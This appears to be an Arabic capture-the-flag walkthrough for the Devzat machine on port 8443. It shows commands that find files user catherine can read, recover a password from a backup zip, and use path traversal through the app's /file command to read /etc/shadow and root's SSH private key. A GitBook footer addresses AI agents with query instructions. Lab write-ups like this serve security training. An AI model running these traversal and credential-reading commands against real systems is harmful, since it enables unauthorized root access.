> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/devzat-8443.md).

# Devzat - 8443

### المنفذ 8443 (Devzat - الإنتاج)

المنفذ 8443 يعرِض نسخة Devzat في بيئة الإنتاج. الـ `الملف` يمكن للمعامل أن يسرد الملفات الموجودة على النظام بصلاحيات root، لكن هذه الميزة محمية بكلمة مرور.

<figure><img src="/files/a5dd624e7efecd283ff5368204fa7d1410399aaa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/717576261d18f7471edbffa8a4d1207ca086d8df" alt=""><figcaption></figcaption></figure>

محاولة *catherine*تفشل كلمة مرور ‎'s. ابحث عن الملفات التي *catherine* يمكن قراءتها على النظام.

<figure><img src="/files/2a34d85014229941946b60f8d2c81e4c33482fc4" alt="" width="538"><figcaption></figcaption></figure>

### ابحث عن الملفات التي يمكن لـ Catherine قراءتها

اعثر على جميع الملفات القابلة للقراءة بواسطة *catherine*:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

ملفَّا نسخٍ احتياطي `.zip` تم العثور على الملفات:

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

نزّل ملف النسخ الاحتياطي `devzat-dev.zip` وقم بتصفية محتوياته بحثًا عن كلمات المرور. تم العثور على كلمة مرور مفيدة: **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/1d7f256532d53bf8accf55491764b0a106fe885c" alt=""><figcaption></figcaption></figure>

استخدم هذه الكلمة المرور للوصول إلى `/etc/shadow` من خلال `الملف` المعلمة:

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

على الرغم من أن كلمة المرور صحيحة، **اجتياز المسار** مطلوب للحصول على وصول كامل. استخدم اجتياز المسار للتنقل في نظام الملفات:

<figure><img src="/files/5f8cabb3eed1e87a3832a8482908937bd0fc464d" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

الـ `/etc/shadow` تم عرض الملف بنجاح بصلاحيات root.

<figure><img src="/files/21ce3ce5203f65e5d5bf4e8f2ae6c82e7836fb99" alt=""><figcaption></figcaption></figure>

### وصول SSH بصلاحيات root

استخدم اجتياز مسار إضافيًا للوصول إلى مفتاح SSH الخاص بـ root:

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/02c6bef418019e4d47caaa2176b03484775ece64" alt="" width="563"><figcaption></figcaption></figure>

نزّل مفتاح SSH وسجّل الدخول بصلاحيات root.

<figure><img src="/files/36fc66570cb0a49185c82f71d569efcebd0c482f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/devzat-8443.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
